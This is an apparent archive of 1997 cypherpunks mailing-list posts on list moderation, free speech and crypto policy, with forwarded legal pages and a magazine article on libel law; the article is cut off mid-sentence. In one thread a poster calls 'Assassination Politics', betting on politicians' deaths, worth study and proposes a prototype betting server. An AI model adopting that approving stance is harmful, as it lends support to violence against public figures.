In-Reply-To: <199701262312.PAA26813@toad.com>
Message-ID: <c0761D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> Regardless of which side you take on this matter, remember that the issue
> was forced by the actions of an extremely small segment of the list
> "population."

The list "population" (readers) is a couple of thousand people, almost
all of whom are lurkers. All posters are an extremely small segment of
the readership. It's true on most Internet forums.

> The decision of that small segment to excercise its rights "in extreme"
> passed the tolerance thresholds of increasing numbers of list members,
> and the end result was a "restriction" adopted/elected/forced-on (colour
> it however you chose) on the entire "population."
>
> "Rights" are derived from social responsibility; its either that, or the
> "law of the jungle."

V.I.Lenin said: "liberty is a recognized necessity".
(I'll let Igor correct my translation is it's wrong.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Happy birthday to Oksas
In-Reply-To: <Pine.SOL.3.93.970126212732.25337A-100000@pegasus.montclair.edu>
Message-ID: <6D861D84w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 	That's my birthday...

Happy birthday to you,
 Happy birthday to you,
  Happy birthday dear Oksas,
   Happy birthday to you!

> 	have a great week ahead everyone!

Have a good year.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Censorship
In-Reply-To: <199701270233.SAA03386@adnetsol.adnetsol.com>
Message-ID: <Ni861D85w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Ross Wright" <rwright@adnetsol.com> writes:

> On or About 26 Jan 97 at 2:19, blanc wrote:
>
> > >Igor Chudov @ home wrote:
> > >>>Jim Choate wrote:
> > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > >>>>>>>irrelevant@nowhere.com wrote:
> > >>>>>>>>>>Dale Thorn wrote:
> >
> > It can be said 100,000 times, but it still comes out the same:
> > Just as in "The only cure for bad speech is more speech", "the only
> > cure for 'list-focus-drift' is more on-focus postings".
>
> THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> OBJECT TO.

Comversely, some people are willing to give up their own freedom of
speech so as to silence others whose views they don't like. They
hope that they'll be censored less than their "enemies". But a forum
can't be "a little bit censored" just like a woman can't be "a little
bit pregnant".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Jan 1997 20:05:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jim Choate Speaks Out on My Part of the Net (fwd)
Message-ID: <199701270430.WAA02102@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 26 Jan 1997 20:07:57 -0800
> From: Toto <toto@sk.sympatico.ca>
> Subject: Jim Choate Speaks Out on My Part of the Net
> 
> Jim Choate wrote:

> > If you really and truly believe that the net belongs to everyone and nobody
> > has a right to limit or otherwise control the hardware and software along
> > with the associated comm links they own and pay for then you obviously don't
> > understand what is going on.

> > For instance, since Toto pays for the hardware and software that comprises
> > his part of the net, he is free to limit, control, and edit for content,
> > anything that passes through his part of the net.
> > Although I sometimes disagree with Toto because of my limited ability to
> > understand things on a conceptual level, his rugged good looks, charm,
> > and superior intelligence show that he should be allowed to control his
> > own privately owned part of the net and anything that passes through it.
> 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage@ssz.com
> 
> Jim,
>  Thank you for your support in my efforts to exert supreme control over
> the part of the net that I have paid for.
>  I am sure that you will continue to fight for the right of myself and
> the government of Singapore to use that control for whatever purpose
> they choose.
>  As you can see above, I have enhanced your posting so that it more
> closely conforms to the beliefs that my paid-for part of the net was
> set up to espouse.

Are you aware that attributing statements in print to a party when that
party did not write them is a crime?

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:10:57 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
Message-ID: <32EC4BD6.44A2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

  I don't go in for that sick, perverted stuff, myself, but I have
a friend...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <32EC1683.4DD0@gte.net>
Message-ID: <TN861D86w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > jim bell <jimbell@pacifier.com> writes:
> > > Look, I've proposed what I consider to be a remarkably consistent method
> > > prevent the kind of political tyranny that you criticize, and I don't see
> > > any recognition of this fact.
>
> > I said many times that I find AP a very interesting notion, worthy of study
> > Given how fast online gambling is growing, how soon do we have to wait for
> > a web site for taking bets on deaths of politicians and other prominents?
> > Why not set one up, using "funny money" not convertible to anything?
>
> If AP could really work, and AP is enabled by strong p-k crypto,
> that fact alone would justify the Washington boys doing *everything*
> in their power to stop *real* crypto (i.e., no back doors).

But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
and ineffective and not worth the time people spend fighting them.

A prototype AP betting server, first limited to very innocent events (like
usenet postings containing certain regexps) and using "funny money" for bets,
would be a good demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:50:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
In-Reply-To: <32EC30E2.625D@sk.sympatico.ca>
Message-ID: <i3861D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
>   Let them know that if they want to censor you, they will have to
> censor your 'strong' crypto. Even if you choose to fight by showing
> up with your gun on your hip, at high-noon, it still doesn't hurt to
> have one tucked in your boot, as well.

Certain unnamed people believe that "strong" crypto, like free speech,
is only for those who use it "responsibly". Privacy is for the elite;
and they wish to join the elite, rather then extend the right to privacy
and/or free speech to the "unwashed masses".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 20:00:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <32EC38BC.5511@sk.sympatico.ca>
Message-ID: <B0861D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
>
> > How does one country get on top and terrorize the whole world?  By
> > following Tom Wolfe's intimation concerning the pirates: "The people
> > on the East coast were constantly victimized because they couldn't
> > comprehend just how vicious and ruthless the pirates really were"
> > (quote approximate).
>
> Dale,
>   When I read posts like this, I wonder how any rationally thinking
> person can possibly believe that socio/politico concerns have no
> place in the discussion of crypto.
>   It is my belief that many of the more atrocious acts being performed
> against the citizens by various governments are made possible by the
> fact that there are so few people who recognize a 'pirate' when they
> see one.
>   While I appreciate that there are those who may be furthering the
> cause of crypto, privacy and freedom through official channels, the
> controlled media, and such, there needs to be a forum in which
> people are free to use what they consider to be the 'correct'
> terminology to refer to those who have usurped democracy in order
> to control the citizens for their own personal profit.
>   i.e. 'Pirates'

Right now, you can still say anything you like in "cypherpunks-unedited".
Anyone subscribed to the moderated cypherpunks list is free to resubscribe.
If the masses of lurkers choose not to do it, it's their loss, and not
your or my responsibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:11:30 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <Pine.BSF.3.91.970126133331.6251B-100000@mcfeely.bsfs.org>
Message-ID: <32EC50C7.5E9E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat wrote:
> Regardless of which side you take on this matter, remember that the issue
> was forced by the actions of an extremely small segment of the list
> "population."

  Exactly. The same think happened at Kent State, when an extremely
small
segment of the student body forced U.S. Government forces to shoot them.

> The decision of that small segment to excercise its rights "in extreme"
> passed the tolerance thresholds of increasing numbers of list members,
> and the end result was a "restriction" adopted/elected/forced-on (colour
> it however you chose) on the entire "population."

  Speaking of 'colouring', Mr. Rabid Revisionist-smallsegmentinextreme,
perhaps you might be so kind to explain the use of the word 'elected'
as it applies to an announcement that a single individual had decided
to act for the good of all, irregardless of the wishes of others.
 
> "Rights" are derived from social responsibility; its either that, or the
> "law of the jungle."

  Social responsibility includes speaking up when the king has no
clothes,
except for the armband with the Swastika on it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Sun, 26 Jan 1997 14:54:22 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Cellular location...
Message-ID: <19970126225416.15792.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 25 Jan 1997, Mark M. wrote:

> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.  The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

Of course, one could always follow the ID4 example and triangulate cells
from a single location, preferably using equipment that any small-time
operator can find in his own car.

-- 3bmice






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 20:44:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Happy birthday to Oksas
In-Reply-To: <6D861D84w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970126233915.26931B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




	Thank you Dr. Vulis !

	:)

	oksas
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: libel.html
Message-ID: <199701270550.XAA02278@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   [IMAGE]
   
Libel and Slander

   
   
   "Libel" involves the publishing of a falsehood that harms someone.
   Slander is the same doctrine applied to the spoken word. Collectively,
   they are referred to as "defamation". Both are a matter of state laws,
   which usually (not always) require that the falsehood be intentional.
   
   In New York Times v. Sullivan, the Supreme Court held that the First
   Amendment requires that, before a public official can recover damages
   for a defamatory statement, he must prove it was made with "actual
   malice", even if state laws otherwise allow recovery for negligent
   defamation. The Court has since expanded this to cover not only public
   officials but "public figures", including individuals who involve
   themselves in controversies.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:27:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: libelfrm.htm
Message-ID: <199701270551.XAA02285@einstein>
MIME-Version: 1.0
Content-Type: text/plain



                                LIBEL CHECKLIST
                                       
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Look for material that identifies a person or an entity.

     Keep in mind that it is possible to identify people or entities
     without actually using a name. If the material contains identifiable
     voices, likenesses, or descriptions, it could be a problem.
     
   ___ The material identifies a person or entity.
   
STOP HERE if the material does not identify a person or entity.

   You can't have a libel without someone to complain about it!
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Is any identified person dead?

     There is little reason to be concerned with statements or other
     material reflecting badly on dead persons because the law only
     protects "the memory of the dead," giving no cause of action to
     decedents. So long as the material concerns only the dead person,
     you need not answer the rest of the questions on this form.
     
   ___The person identified is dead.
   
STOP HERE if the person identified is dead.

   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If material identifies a living person, is it:

   A private individual.
   
   ___A public person.
   
   ___A political person.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
Would the material negatively influence a reasonable reader's opinion of the
person or entity identified?

   ___a.
          It would reflect badly on the character of the person or
          entity.
          
   ___b.
          It could harm the reputation, diminish the esteem, respect or
          good will in which the person or entity's relevant community
          holds him, her or it.
          
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
If the material might reflect badly on character and/or harm reputation, would
the harm be the result of:

   ___An explicit statement.
   
   ___An insinuation.
   
   ___A sarcastic statement.
   
   ___A parody or cartoon.
   
   ___An opinion that implies that there are unstated defamatory facts
   underlying it.
   
   ___Other.
   
   
     _________________________________________________________________
   
   
     _________________________________________________________________
   
   
   
There are several possible defenses to a claim of defamation, although none may
apply in a particular case. Check one of the following defenses only if you are
fairly certain it would apply.

   ___The statement or other material is true.
   
   ___The statement or other material is purely an expression of opinion
   and not an assertion of fact.
   
   ___The statement or other material constitutes a fair comment on a
   matter of public opinion, for example, the use of public money,
   disbarment of attorneys, management of public institutions and
   charities, management of private companies whose activities widely
   affect the public (pollution, delivery of medical services, common
   carriage, employment practices, discrimination, etc.) or the review of
   books, public entertainment, sports events or scientific discoveries.
   
   ___No one could reasonably interpret the statement or image to be an
   assertion of actual fact about the person or entity.
   
   ___The statement or image can be characterized as mere words of abuse,
   indicating dislike for the person or entity, but does not suggest any
   specific charge.
   
   ___The subject of the statement or image has given consent to or
   approved the material.
   
   _________________ __________
   
     _________________________________________________________________
   
   University Liability for the Wrongful Acts of Employee Publishers |
   Copyright Management Center Homepage | Intellectual Property Section
   Homepage
     _________________________________________________________________
   
   
    8 August 1995
    
   University of Texas System Office of General Counsel
   
   
    Comments to gharper@utsystem.edu
    
   
     _________________________________________________________________




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:27:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: 1a_c7p4.html
Message-ID: <199701270552.XAA02289@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   [IMAGE]
   
  Chapter VII: Libel
  
   Identification
     _________________________________________________________________
   
   A plaintiff must prove that the alleged defamatory publication refers
   to him or her.
   
   Relatives cannot sue on behalf of a deceased person. Governmental
   entities cannot bring libel claims, nor can members of large groups
   (usually 25 or more). However, if the statement can be interpreted as
   referring to a particular person in a group, that person can sue.
   Also, if the offending information pertains to a majority of the
   members of a small group, any member of the group has standing to sue.
   
   A corporation may bring a libel claim if the alleged defamatory
   statement raises doubts about the honesty, credit, efficiency or
   prestige of that business. However, if the statements refer only to
   corporate officers, the corporation cannot litigate on their behalf.
   
   
     _________________________________________________________________
   
   [INLINE] Back to Table of Contents
   [INLINE] Jump to next section in this chapter




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 21:29:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: libsln.htm
Message-ID: <199701270553.XAA02293@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   Landskroner, LTD. [INLINE]
   
Libel / Slander

   
   
   Libel / Slander is an area that involves defamatory oral or written
   statements containing false and misleading material which causes
   damage or injury to reputation and/or monetary loss.
   
   We provide a quick review of their success stories , some media and
   newspaper articles about what they've been able to do for their
   clients, and published articles about this topic.
   
   Please e-mail us with questions about our service! Landskroner and
   Phillips 
   [INLINE]
   
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   [INLINE]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 20:54:04 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701270316.VAA00352@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126234608.26931C-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> Nurdane Oksas wrote:
> > 	California is know for very beautiful girls ... 
> 
> wrong.

	well, seems D. Thorn agrees with the song: 'california girls'


	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 26 Jan 1997 21:30:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: prof_960318.html
Message-ID: <199701270554.XAA02296@einstein>
MIME-Version: 1.0
Content-Type: text/plain



      LIBEL CONCERNS ARE A REALITY FOR SCIENTISTS WHO SPEAK OUT IN PUBLIC
                                       
   Author: Robert Finn (The Scientist, Vol:10, #6, p. 15, March 18, 1996)
   
   In today's increasingly litigious society, anyone can become the
   target of a lawsuit. A potential libel action, for example, should not
   only be the concern of publishers and journalists. The threat of a
   libel suit is now a reality for anyone, including scientists who
   choose to speak out publicly-or even write letters to the editor-on
   controversial issues.
   
   A libel suit can come without warning when an ordinary scientist is
   engaged in ordinary scientific activities. For example, Arnold S.
   Relman, editor emeritus of the New England Journal of Medicine, was
   quoted in a newspaper article criticizing the advertising practices of
   a for-profit hospital. Victor J. Stenger, a professor of physics at
   the University of Hawaii at Manoa, incorrectly described Israeli
   psychic Uri Geller's legal history in a book debunking paranormal
   phenomena. And Jan Moor-Jankowski, as editor of the Journal of Medical
   Primatology, merely printed a letter from an animal activist opposing
   a pharmaceutical company's experiments.
   
   Each of these scientists soon found himself faced with the dreaded
   prospect of defending himself in a libel suit. All three eventually
   prevailed in court, or the charges ended up being dropped. But
   defending themselves was a painful, distracting, and often expensive
   process. The lessons they learned are instructive to all scientists
   who write or make public statements.
   
   Arnol Relman
   CASE DISMISSED: "I think they knew they had no case," says Arnold
   Relman of the suit files against him by a for-profit cancer-treatment
   center. The First Amendment to the United States Constitution provides
   powerful-but not impregnable-protection to anyone who speaks on
   controversial topics. "Libel is a civil action, a tort action that you
   can bring against somebody claiming that a statement, either written
   or oral, is false and defamatory and caused you injury," explains
   Charles S. Sims, a noted libel attorney and partner at Proskauer Rose
   Goetz and Mendelsohn, a New York law firm. (This firm handles libel
   matters for The Scientist.)
   
   Sims notes that legal bills for a libel defense can quickly mount up.
   Even if the case is dismissed quickly, one can easily run up $20,000
   to $60,000 in costs, and if a case drags on, it can go into the
   millions. Libel insurance can cost publishers thousands of dollars per
   year, and is an additional factor in today's high cost of publishing.
   
   Victor Stenger
   ERRATUM SHEET INSERTED: Victor Stenger took measures to correct his
   text but was sued nonetheless. "If you are sued, you need to check
   with your employer or your institution or your professional
   group-anybody who might consider themselves morally bound to come to
   your aid," advises Sims. "And you also need to look at your home
   insurance policy. An astonishing number of home insurance policies
   have clauses which turn out to be usable to force an insurance company
   to pay for a defense."
   
Landmark Case

   The legal axiom goes, "Truth is an absolute defense against libel,"
   and indeed no true statement of fact can ever be libelous, and neither
   can statements of judgment or opinion, which are neither true nor
   false. Both these principles were put to the test in the landmark case
   that Immuno AG (a pharmaceutical company based in Austria) brought
   against Moor-Jankowski. The former editor of the Journal of Medical
   Primatology was then director of New York University's Laboratory for
   Experimental Medicine and Surgery in Primates. He has recently founded
   the Center for Academic Freedom, based in New York City.
   
   As chronicled in the book The Monkey Wars by Deborah Blum (Oxford
   University Press, 1994) and in interviews with Moor-Jankowski and his
   attorney Philip Byler (now at the New York firm Layton, Brooks and
   Hecht), it all started in January 1983, when Shirley McGreal wrote a
   letter to the Journal of Medical Primatology objecting to some
   experiments proposed by Immuno AG.
   
   McGreal is an animal activist and founder of the Charleston,
   S.C.-based International Primate Protection League. She learned that
   Immuno planned a study of non-A/non-B hepatitis in African
   chimpanzees, at a research station in Sierra Leone. Based on what she
   learned about the experiments, and the conclusions she drew from these
   facts, she had several objections. Among them were that the
   experimenters would be using wild-caught chimpanzees, whose numbers
   are dwindling; that they would release them after experimentally
   infecting them with hepatitis; and that the released chimps might
   transmit the disease to other animals.
   
   With McGreal's letter to the editor in hand, Moor-Jankowski tried to
   elicit a rebuttal from Immuno's research director. Instead, he soon
   received a letter from Immuno's lawyers asserting that McGreal's
   statements were inaccurate and reckless. It read, in part: "We would
   also like to advise you that our review of Dr. McGreal's letter
   indicated that it is not a fair comment regarding our client's
   activities, and should you proceed with publication, without giving us
   the opportunity for a meaningful response, we shall be compelled to
   take whatever actions we deem necessary to redress our client's
   rights."
   
   But though Moor-Jankowski waited until December 1983 before publishing
   McGreal's letter (S. McGreal, J. Med. Primatol., 12:280, 1983), Immuno
   never offered a substantive response to her charges. During that time
   Moor-Jankowski himself came to be critical of Immuno's planned
   experiments, and he was quoted to that effect in New Scientist (N.
   Heneson, 100:165, 1983).
   
   Immuno then brought suit against a number of institutions and
   individuals, including McGreal, Moor-Jankowski, the Journal of Medical
   Primatology, New Scientist, the distributors of both publications, and
   NYU. Although Immuno ultimately dropped plans for the experiments, it
   continued pursuing its libel cases. In response, almost all the
   defendants or their insurance companies chose to settle rather than
   fight.
   
   The exception was Moor-Jankowski. Born in Poland, he explains his
   decision to persist by saying, "As a very young boy I fought the
   Germans for freedom. I didn't want to stand up for muzzling."
   
   It cost him seven years and about $2 million in legal fees ($200,000
   of which Moor-Jankowski paid himself), and it generated an
   eight-volume legal record as the case cycled among the New York County
   Supreme Court, the New York State Court of Appeals, and the U.S.
   Supreme Court. In the end, Moor-Jankowski was vindicated. The Court of
   Appeals ruled that the letter was a combination of truthful factual
   statements and opinion, both of which are protected by the First
   Amendment. Jan Moor-Jankowski
   HE CHOSE TO FIGHT: Jan Moor-Jankowski did not settle his libel case
   out of court because "I didn't want to stand up for muzzling."
   
   "When you're talking about a letter to the editor, you're talking
   about what the Court of Appeals in New York correctly viewed as a
   forum to air grievances and views on the part of the public," says
   Philip Byler, Moor-Jankowski's attorney. "It's a precedent because
   it's a . . . decision which adhered to a broad constitutional
   protection of opinion."
   
   Byler maintains that the decision makes clear that "you do have a
   right to express views that are not orthodox. You do have a right to
   express viewpoints which over the course of time will be shown to be
   wrong-minded. A letter to the editor is a forum for opinion, and quite
   frankly people should feel the leeway to express themselves without
   the fear that sometime in the future, in the libel courtroom, where
   money damages are at stake, they will be shown to be wrong. That
   doesn't say that you have a right to make false, defamatory statements
   that are really hurtful to somebody."
   
   Byler's advice to authors of letters to the editor: Clearly separate
   factual statements from statements of opinion. "To the extent you are
   making a statement that's based on inference or speculation or
   conjecture, use words that indicate that." Byler believes that as
   editor of the journal, Moor-Jankowski more than fulfilled his
   obligations by deliberating a considerable time before publication,
   all the while soliciting a substantive response from the criticized
   party.
   
Public Figures

   For a statement to be libelous, the offended party must suffer actual
   damage, notes Sims. "It's got to be really harmful, not just something
   that offends somebody's sensibilities, but something that harms their
   reputation."
   
   This principle came into play in Cornell University astronomer Carl
   Sagan's suit against Apple Computer Inc. of Cupertino, Calif. Apple
   had been using "Carl Sagan" as its internal name for a new computer.
   Sagan got wind of this, and his lawyers sent Apple a letter
   instructing the company to cease and desist. In response, a project
   manager changed the computer's name to BHA, an acronym for Butt-Head
   Astronomer. Sagan sued Apple in the Central District of California
   for, among other things, libel, infliction of emotional distress, and
   improperly using his name.
   
   Judge Lourdes G. Baird dismissed the libel portion of the suit,
   holding that "one does not seriously attack the expertise of a
   scientist using the undefined phrase 'butt-head,' and that a reader
   aware of the context would understand the project manager was
   retaliating in a humorous and satirical way." Sagan, who declined to
   be interviewed for this article, later reached a settlement with Apple
   on the other aspects of the suit.
   
   But even when a statement is both false and harmful it still may not
   be libel, says Sims. "If it criticizes one particular event, in many
   states it's immune from prosecution under the single-instance rule. If
   you say that a doctor screwed up an operation, that's not libelous. If
   you say that he's a terrible surgeon, it might be. Similarly, if
   you're writing a review of a scientific article and say that scientist
   miscalculated the numbers... that's not going to be actionable. If you
   said, on the other hand, that somebody's research was fraudulent, it
   certainly would be."
   
   For individuals judged to be public figures, a statement must not only
   be false but also must be made with malice or with "reckless disregard
   for the truth." Explains Sims: "All 'reckless disregard' means is that
   you actually,subjectively entertained doubts and went ahead and
   published anyway. If you believe what you are saying, as a matter of
   law you cannot-if the jury or the judge believes you-lose a libel
   case."
   
   This would likely have been a factor had Uri Geller's suit against
   Victor Stenger not been dismissed before it ever got to trial. In his
   book Physics and Psychics: The Search for a World Beyond the Sensesm
   (Buffalo, N.Y., Prometheus Books, 1990), Stenger stated of Geller that
   "... he was once arrested for claiming his feats were performed with
   psychic power." In fact, Stenger had drawn an incorrect conclusion
   from some of his research material. The accounts Stenger relied upon
   mentioned that Geller had been "brought to court," but it had been in
   a civil case, and he had never been arrested.
   
   Once Stenger realized his error, he and his publisher voluntarily
   inserted an erratum sheet and changed the wording in later printings
   of the book. Nevertheless, Geller sued Stenger for libel in Florida,
   London, and Hawaii.
   
   Stenger is convinced that despite his error he would have prevailed
   had the case come to trial. "You can say something that is incorrect
   if at the time it was to the best of your knowledge correct," he
   explains. "That never came up, because as often happens in legal
   cases, you get out on technicalities before the merits are really
   discussed."
   
   Geller's Florida and Hawaii cases were dismissed because he brought
   them after those states' statutes of limitations had expired. And his
   case against Stenger in London was dropped as part of a global
   settlement of several related cases between Geller and the Amherst,
   N.Y.-based Committee for the Scientific Investigation of Claims of the
   Paranormal.
   
New Sources Of Trouble

   Typically, libel law says that only a corporation or a living person
   can be disparaged. But in 12 states (Alabama, Arizona, Colorado,
   Florida, Georgia, Idaho, Louisiana, Mississippi, Ohio, South Carolina,
   South Dakota, and Texas) it has recently become possible to libel a
   fruit or vegetable. Farmers in those states can now sue those who make
   false claims about agricultural products.
   
   These "agricultural disparagement" laws were apparently inspired by a
   1989 report from the New York City-based Natural Resources Defense
   Council (NRDC) linking the apple additive Alar to cancer. Growers
   turned to state legislators in an effort to fend off criticism by NRDC
   and other watchdog organizations. Lawrie Mott, senior scientist at
   NRDC's San Francisco office, calls them "veggie hate-crimes laws," and
   says of the states that have passed them, "They're attempting to
   silence those people who have raised questions about the food supply.
   
   "It's not clear that these laws are constitutional," Mott continues.
   "If it's based on 'reliable scientific fact,' it's not considered
   disparagement under the law. That's a very vague term, and one that's
   primed for litigation. But the ultimate advice I would have [for
   scientists] is: If what you say is accurate, stick to your guns. If
   you have scientific concerns about the safety of the food supply,
   don't be silenced by people with obvious interests in keeping it
   quiet."
   
   Lawrie Mott
   LETTUCE LIBELED? Lawrie Mott describes the "agricultural
   disparagement" laws as "veggie hate-crimes laws". Additionally, new
   modes of scientific communication-E-mail, Usenet newsgroups, and the
   World Wide Web-have become further sources of libel-related worries.
   As Dan L. Burk, an assistant professor at Seton Hall University's
   School of Law, writes: "For the first time in history, global computer
   networks have in essence made everyone a publisher-with a few
   keystrokes, ordinary citizens can make their opinions known to
   thousands of others... This is an exciting development for individual
   freedom of expression, but there is a dark side to this unprecedented
   opportunity: Such computer-mediated communication may also expose
   ordinary citizens to liability on an unprecedented scale" (D.L. Burk,
   The Scientist, April 3, 1995, page 12).
   
   One thing is certain: Legal liability issues in electronic
   communication are in a highly unsettled state. For example, there is
   no agreement on the critical issue of whether service providers such
   as CompuServe and America Online should be thought of as publishers,
   and hence at least partially responsible for the content of their
   service, or "common carriers" and thus no more responsible than is the
   phone company for conversations over its wires.
   
   Another recently developed legal scheme for silencing criticism of
   corporate practices has come to be called the "SLAPP suit." SLAPP
   stands for Strategic Litigation Against Public Participation. The law
   has long allowed just about anyone to sue anyone else for anything,
   and a SLAPP suit often takes the form of an unwinnable libel suit that
   is intended to harass and deplete the resources of critics.
   
   Arnold Relman, a longtime critic of what he calls the
   "medical-industrial complex," found himself the target of a what he
   considered a harassing libel suit after a reporter for the Dallas
   Morning News asked for his comment on some newspaper and radio ads
   placed by a for-profit cancer-treatment center, the Zion, Ill.-based
   Cancer Treatment Centers of America. (This is not technically a SLAPP
   suit because Relman's statement was quoted in a newspaper account and
   not made in the course of a public proceeding.) According to Relman,
   the ads implied that the center was able to help people with advanced
   cancer who had failed to respond to conventional medical treatments.
   
   "I said [to the reporter] I didn't know anything about the company,
   hadn't heard of it before, but on the face of what he read me those
   ads were misleading and they were unethical. . . . I said that . . .
   it was unfortunate that they would hold out this kind of hope to
   people with advanced metastatic cancer," recalls Relman.
   
   The center sued Relman and several other physicians quoted in the
